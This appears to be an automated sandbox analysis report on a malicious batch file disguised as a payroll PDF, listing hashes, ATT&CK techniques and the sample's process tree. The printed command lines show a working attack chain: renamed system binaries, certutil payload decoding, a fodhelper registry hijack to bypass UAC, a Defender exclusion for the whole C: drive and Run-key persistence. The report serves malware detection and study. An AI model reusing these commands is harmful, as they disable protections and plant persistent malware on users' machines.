d9ec6827066afb3585d4c9387120f8fbba598ea3a2d23fda4350684f62f0caa2

Analysis

max time kernel
34s
max time network
42s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
29/07/2024, 03:52

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Payroll for July.PDF.bat
Size 4.9MB
Sample240729-efkenawend
SHA256 68711195c07e287987488f7045c7147501ccfbae22318b8460d01a86d2f09599
MD5 221325197f9623e7be8285e05b28c8db
SHA1 e96b0bf85a8b3e9544eed7b2db4db08bbaee5707
SHA512 30b445175c2700065cfecc18d839f4129297435f94649fc5f5fdc489a3151e4544abcf40e2923e2d2002e438f6bf03cdc4cdbd21d44344cc2306c25cc401e98e
SSDEEP 49152:qILm52gH9tPNjLtDgqYQQLg74MmPp1E1TlUQdbKvqsCOP1Ru4JmB/po9c4:5
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

discovery persistence

Malware Config

Signatures

Executes dropped EXE 27 IoCs

pid	Process
2300	alpha.exe
2940	alpha.exe
2984	kn.exe
2856	alpha.exe
2972	kn.exe
3020	Defux.COM
2880	alpha.exe
2864	alpha.exe
2252	gspwscdY.pif
2372	alpha.exe
1908	alpha.exe
1720	alpha.exe
1280	alpha.exe
340	alpha.exe
1052	alpha.exe
2104	xkn.exe
2168	alpha.exe
2184	ger.exe
2240	alpha.exe
908	alpha.exe
2476	alpha.exe
1932	alpha.exe
1892	alpha.exe
1792	alpha.exe
1872	alpha.exe
1912	alpha.exe
1688	alpha.exe

Loads dropped DLL 9 IoCs

pid	Process
112	cmd.exe
112	cmd.exe
2940	alpha.exe
3020	Defux.COM
3020	Defux.COM
1052	alpha.exe
2104	xkn.exe
2104	xkn.exe
2168	alpha.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Windows\CurrentVersion\Run\Ydcswpsg = "C:\\Users\\Public\\Ydcswpsg.url"	Defux.COM

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3020 set thread context of 2252	3020	Defux.COM	41

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SndVol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Defux.COM
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gspwscdY.pif
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	extrac32.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2476	alpha.exe
1072	PING.EXE

Kills process with taskkill 2 IoCs

evasion

pid	Process
1492	taskkill.exe
2072	taskkill.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000_CLASSES\ms-settings\shell	ger.exe
Key created	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000_CLASSES\ms-settings\shell\open	ger.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000_CLASSES\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\""	ger.exe
Key created	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000_CLASSES\ms-settings\shell\open\command	ger.exe
Key created	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000_CLASSES\ms-settings	ger.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1072	PING.EXE

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	4	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
3020	Defux.COM

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2104	xkn.exe
3020	Defux.COM

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2104	xkn.exe
Token: SeDebugPrivilege	1492	taskkill.exe
Token: SeDebugPrivilege	2072	taskkill.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1996	SndVol.exe

Suspicious use of SendNotifyMessage 2 IoCs

pid	Process
1996	SndVol.exe
1996	SndVol.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 112 wrote to memory of 2780	112	cmd.exe	31
PID 112 wrote to memory of 2780	112	cmd.exe	31
PID 112 wrote to memory of 2780	112	cmd.exe	31
PID 112 wrote to memory of 2300	112	cmd.exe	32
PID 112 wrote to memory of 2300	112	cmd.exe	32
PID 112 wrote to memory of 2300	112	cmd.exe	32
PID 2300 wrote to memory of 2796	2300	alpha.exe	33
PID 2300 wrote to memory of 2796	2300	alpha.exe	33
PID 2300 wrote to memory of 2796	2300	alpha.exe	33
PID 112 wrote to memory of 2940	112	cmd.exe	34
PID 112 wrote to memory of 2940	112	cmd.exe	34
PID 112 wrote to memory of 2940	112	cmd.exe	34
PID 2940 wrote to memory of 2984	2940	alpha.exe	35
PID 2940 wrote to memory of 2984	2940	alpha.exe	35
PID 2940 wrote to memory of 2984	2940	alpha.exe	35
PID 112 wrote to memory of 2856	112	cmd.exe	36
PID 112 wrote to memory of 2856	112	cmd.exe	36
PID 112 wrote to memory of 2856	112	cmd.exe	36
PID 2856 wrote to memory of 2972	2856	alpha.exe	37
PID 2856 wrote to memory of 2972	2856	alpha.exe	37
PID 2856 wrote to memory of 2972	2856	alpha.exe	37
PID 112 wrote to memory of 3020	112	cmd.exe	38
PID 112 wrote to memory of 3020	112	cmd.exe	38
PID 112 wrote to memory of 3020	112	cmd.exe	38
PID 112 wrote to memory of 3020	112	cmd.exe	38
PID 112 wrote to memory of 2880	112	cmd.exe	39
PID 112 wrote to memory of 2880	112	cmd.exe	39
PID 112 wrote to memory of 2880	112	cmd.exe	39
PID 112 wrote to memory of 2864	112	cmd.exe	40
PID 112 wrote to memory of 2864	112	cmd.exe	40
PID 112 wrote to memory of 2864	112	cmd.exe	40
PID 3020 wrote to memory of 2252	3020	Defux.COM	41
PID 3020 wrote to memory of 2252	3020	Defux.COM	41
PID 3020 wrote to memory of 2252	3020	Defux.COM	41
PID 3020 wrote to memory of 2252	3020	Defux.COM	41
PID 3020 wrote to memory of 2252	3020	Defux.COM	41
PID 3020 wrote to memory of 2252	3020	Defux.COM	41
PID 2252 wrote to memory of 2908	2252	gspwscdY.pif	42
PID 2252 wrote to memory of 2908	2252	gspwscdY.pif	42
PID 2252 wrote to memory of 2908	2252	gspwscdY.pif	42
PID 2252 wrote to memory of 2908	2252	gspwscdY.pif	42
PID 2908 wrote to memory of 3036	2908	cmd.exe	44
PID 2908 wrote to memory of 3036	2908	cmd.exe	44
PID 2908 wrote to memory of 3036	2908	cmd.exe	44
PID 2908 wrote to memory of 2372	2908	cmd.exe	45
PID 2908 wrote to memory of 2372	2908	cmd.exe	45
PID 2908 wrote to memory of 2372	2908	cmd.exe	45
PID 2908 wrote to memory of 1908	2908	cmd.exe	46
PID 2908 wrote to memory of 1908	2908	cmd.exe	46
PID 2908 wrote to memory of 1908	2908	cmd.exe	46
PID 2908 wrote to memory of 1720	2908	cmd.exe	47
PID 2908 wrote to memory of 1720	2908	cmd.exe	47
PID 2908 wrote to memory of 1720	2908	cmd.exe	47
PID 1720 wrote to memory of 1664	1720	alpha.exe	48
PID 1720 wrote to memory of 1664	1720	alpha.exe	48
PID 1720 wrote to memory of 1664	1720	alpha.exe	48
PID 2908 wrote to memory of 1280	2908	cmd.exe	49
PID 2908 wrote to memory of 1280	2908	cmd.exe	49
PID 2908 wrote to memory of 1280	2908	cmd.exe	49
PID 1280 wrote to memory of 2668	1280	alpha.exe	50
PID 1280 wrote to memory of 2668	1280	alpha.exe	50
PID 1280 wrote to memory of 2668	1280	alpha.exe	50
PID 2908 wrote to memory of 340	2908	cmd.exe	51
PID 2908 wrote to memory of 340	2908	cmd.exe	51

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Payroll for July.PDF.bat"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:112
- C:\Windows\System32\extrac32.exe
  C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
  2⤵
  PID:2780
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2300
- - C:\Windows\system32\extrac32.exe
    extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
    3⤵
    PID:2796
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\Payroll for July.PDF.bat" "C:\\Users\\Public\\Defux.mpeg" 3
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2940
- - C:\Users\Public\kn.exe
    C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\Payroll for July.PDF.bat" "C:\\Users\\Public\\Defux.mpeg" 3
    3⤵
    - Executes dropped EXE
    PID:2984
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Defux.mpeg" "C:\\Users\\Public\\Libraries\\Defux.COM" 10
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2856
- - C:\Users\Public\kn.exe
    C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Defux.mpeg" "C:\\Users\\Public\\Libraries\\Defux.COM" 10
    3⤵
    - Executes dropped EXE
    PID:2972
- C:\Users\Public\Libraries\Defux.COM
  C:\Users\Public\Libraries\Defux.COM
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3020
- - C:\Users\Public\Libraries\gspwscdY.pif
    C:\Users\Public\Libraries\gspwscdY.pif
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2252
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\DE2F.tmp\DE30.tmp\DE31.bat C:\Users\Public\Libraries\gspwscdY.pif"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2908
    - - C:\Windows\System32\extrac32.exe
        
        C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
        5⤵
        
        PID:3036
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
        5⤵
        Executes dropped EXE
        
        PID:2372
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
        5⤵
        Executes dropped EXE
        
        PID:1908
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1720
      - C:\Windows\system32\extrac32.exe
        
        extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
        6⤵
        
        PID:1664
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1280
      - C:\Windows\system32\extrac32.exe
        
        extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
        6⤵
        
        PID:2668
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
        5⤵
        Executes dropped EXE
        
        PID:340
      - C:\Windows\system32\extrac32.exe
        
        extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
        6⤵
        
        PID:768
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c start /wait C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1052
      - C:\Users\Public\xkn.exe
        
        C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2104
        
        C:\Users\Public\alpha.exe
        
        "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2168
        
        C:\Users\Public\ger.exe
        
        C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
        8⤵
        Executes dropped EXE
        Modifies registry class
        
        PID:2184
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
        5⤵
        Executes dropped EXE
        
        PID:2240
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM SystemSettings.exe
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1492
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe
        5⤵
        Executes dropped EXE
        
        PID:908
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM SystemSettingsAdminFlows.exe
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2072
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 5
        5⤵
        Executes dropped EXE
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:2476
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 5
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1072
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
        5⤵
        Executes dropped EXE
        
        PID:1932
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
        5⤵
        Executes dropped EXE
        
        PID:1892
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
        5⤵
        Executes dropped EXE
        
        PID:1792
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S
        5⤵
        Executes dropped EXE
        
        PID:1872
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
        5⤵
        Executes dropped EXE
        
        PID:1912
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
        5⤵
        Executes dropped EXE
        
        PID:1688
- - C:\Windows\SysWOW64\extrac32.exe
    C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Defux.COM C:\\Users\\Public\\Libraries\\Ydcswpsg.PIF
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1988
- - C:\Windows\SysWOW64\SndVol.exe
    C:\Windows\System32\SndVol.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:1996
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:2880
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\Defux.mpeg" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:2864

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

CabDA89.tmp

Path C:\Users\Admin\AppData\Local\Temp\CabDA89.tmp
Size 70KB
SHA256 b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
MD5 49aebf8cbd62d92ac215b2923fb1b9f5
SHA1 1723be06719828dda65ad804298d0431f6aff976
SHA512 bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b
SSDEEP 1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5 SHA1 SHA512 SSDEEP

Submit Download

DE31.bat

Path C:\Users\Admin\AppData\Local\Temp\DE2F.tmp\DE30.tmp\DE31.bat
Size 1KB
SHA256 cad29a052bcb297f5497d6c1a9d37bd938f9d3d7d75b6645f4221f379cf215ff
MD5 2828cc267a1c0676d317df16b891334a
SHA1 6d1f6449a1b77aefcc6911e4ab93906bf70f896a
SHA512 842305116619f8ef90801d9e9067bfb8aebd8244506a879aa8ba8d80bbeba12a945b7e58d96138e5ddaf684e5350c3b05437ab965050bd23a436d99e6da0bf05
MD5 SHA1 SHA512

Submit Download

TarDACA.tmp

Path C:\Users\Admin\AppData\Local\Temp\TarDACA.tmp
Size 181KB
SHA256 8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
MD5 4ea6026cf93ec6338144661bf1202cd1
SHA1 a1dec9044f750ad887935a01430bf49322fbdcb7
SHA512 6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b
SSDEEP 1536:aAZw/J+lCUsTRvsqgCyqWlUDNWdm1wpSru2A0XwjY/z02DTr3rmt6mZ:as2J+qTR0XCy/dmASru2AijbdG
MD5 SHA1 SHA512 SSDEEP

Submit Download

Defux.mpeg

Path C:\Users\Public\Defux.mpeg
Size 3.4MB
SHA256 7af8dff6d15de6862d34cba46e7705275a5a07ac9bf6303f9ec917ff8811e3a7
MD5 7d64215898b7d6037b0863b10257b747
SHA1 1e5c8cf0d8961f7a2128d53933a374aca29d1f7c
SHA512 866757bd3e77004f7dbebe640f9d0eea7e12740bbc075af19044b03f36703c739f8042ea246eb41aec84e58bf60a71af610cab35fba4a1f8dcfbd34c354be5f6
SSDEEP 24576:hE0BqolcoAS+Z4LSoTw5/+/KlygGPGmGqtz5GflIGBk:R
MD5 SHA1 SHA512 SSDEEP

Submit Download

Defux.COM

Path C:\Users\Public\Libraries\Defux.COM
Size 984KB
SHA256 0bde51c2efedcc1dc13504c70a1856f6bfb904c54b9a23b87d8aad5eda6e238f
MD5 06bcbd36656fbfdbd73023f9df4fbcf0
SHA1 7e4843dca4d8bb7bcd68513848f5725f26b380e5
SHA512 683217d47883305325a87909cfbd6378e97e3e452d565a09a7ed13d8fd6bc01ab54ff1c2f8f47c59bfc17ddb26dd3634e05a67e117cf5f1db72571cb521e371c
SSDEEP 24576:QoDIHCBqqUZk2LWE4avXEIugZncPCi4LAP0i03W7CP:Q2Qf4avEIugZQp4LAP0i03W7+
MD5 SHA1 SHA512 SSDEEP

Submit Download

ger.exe

Path C:\Users\Public\ger.exe
Size 73KB
SHA256 4e66b857b7010db8d4e4e28d73eb81a99bd6915350bb9a63cd86671051b22f0e
MD5 9d0b3066fe3d1fd345e86bc7bcced9e4
SHA1 e05984a6671fcfecbc465e613d72d42bda35fd90
SHA512 d773ca3490918e26a42f90f5c75a0728b040e414d03599ca70e99737a339858e9f0c99711bed8eeebd5e763d10d45e19c4e7520ee62d6957bc9799fd62d4e119
SSDEEP 1536:de7Y2TrlYspZIWOIIyGbKKtkzXZrppZP/ezbjQa8ZjeVJU1SVMTSQA:WRrlYspwINpZnezbMa8ZrIVMT6
MD5 SHA1 SHA512 SSDEEP

Submit Download

xkn.exe

Path C:\Users\Public\xkn.exe
Size 462KB
SHA256 a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
MD5 852d67a27e454bd389fa7f02a8cbe23f
SHA1 5330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA512 327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d
SSDEEP 6144:dxGRyCXBgoDhzoNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:CRZgQhIKXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

gspwscdY.pif

Path \Users\Public\Libraries\gspwscdY.pif
Size 66KB
SHA256 7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301
MD5 c116d3604ceafe7057d77ff27552c215
SHA1 452b14432fb5758b46f2897aeccd89f7c82a727d
SHA512 9202a00eeaf4c5be94de32fd41bfea40fc32d368955d49b7bad2b5c23c4ebc92dccb37d99f5a14e53ad674b63f1baa6efb1feb27225c86693ead3262a26d66c6
SSDEEP 1536:lR2rJpByeL+39Ua1ITgA8wpuO5CU4GGMGcT4idU:lR2lg9Ua1egkCU60U
MD5 SHA1 SHA512 SSDEEP

Submit Download

alpha.exe

Path \Users\Public\alpha.exe
Size 337KB
SHA256 db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386
MD5 5746bd7e255dd6a8afa06f7c42c1ba41
SHA1 0f3c4ff28f354aede202d54e9d1c5529a3bf87d8
SHA512 3a968356d7b94cc014f78ca37a3c03f354c3970c9e027ed4ccb8e59f0f9f2a32bfa22e7d6b127d44631d715ea41bf8ace91f0b4d69d1714d55552b064ffeb69e
SSDEEP 6144:NVl7yDR2iaGcsVXFBM6IT77aVebJWC1jIdDWCoCX9Sm:jdyDRwpmFq6ITSebJWwjIdDbNS
MD5 SHA1 SHA512 SSDEEP

Submit Download

kn.exe

Path \Users\Public\kn.exe
Size 1.1MB
SHA256 1e19c5a26215b62de1babd5633853344420c1e673bb83e8a89213085e17e16e3
MD5 ec1fd3050dbc40ec7e87ab99c7ca0b03
SHA1 ae7fdfc29f4ef31e38ebf381e61b503038b5cb35
SHA512 4e47331f2fdce77b01d86cf8e21cd7d6df13536f09b70c53e5a6b82f66512faa10e38645884c696b47a27ea6bddc6c1fdb905ee78684dca98cbda5f39fbafcc2
SSDEEP 24576:RvakvkaGNPQo9uU5goFKyb21SI91ZGUU2:davaSIGZgo8ykSINGJ2
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2104-105-0x0000000001E70000-0x0000000001E78000-memory.dmp

Download

memory/2104-104-0x000000001B4B0000-0x000000001B792000-memory.dmp

Download

memory/2252-76-0x0000000000400000-0x0000000001400000-memory.dmp

Download

memory/2252-74-0x0000000000400000-0x0000000001400000-memory.dmp

Download

memory/2252-77-0x0000000000400000-0x000000000041A000-memory.dmp

Download

memory/2252-126-0x0000000000400000-0x000000000041A000-memory.dmp

Download

memory/2252-124-0x0000000000400000-0x0000000001400000-memory.dmp

Download

memory/3020-30-0x0000000000400000-0x0000000000500000-memory.dmp

Download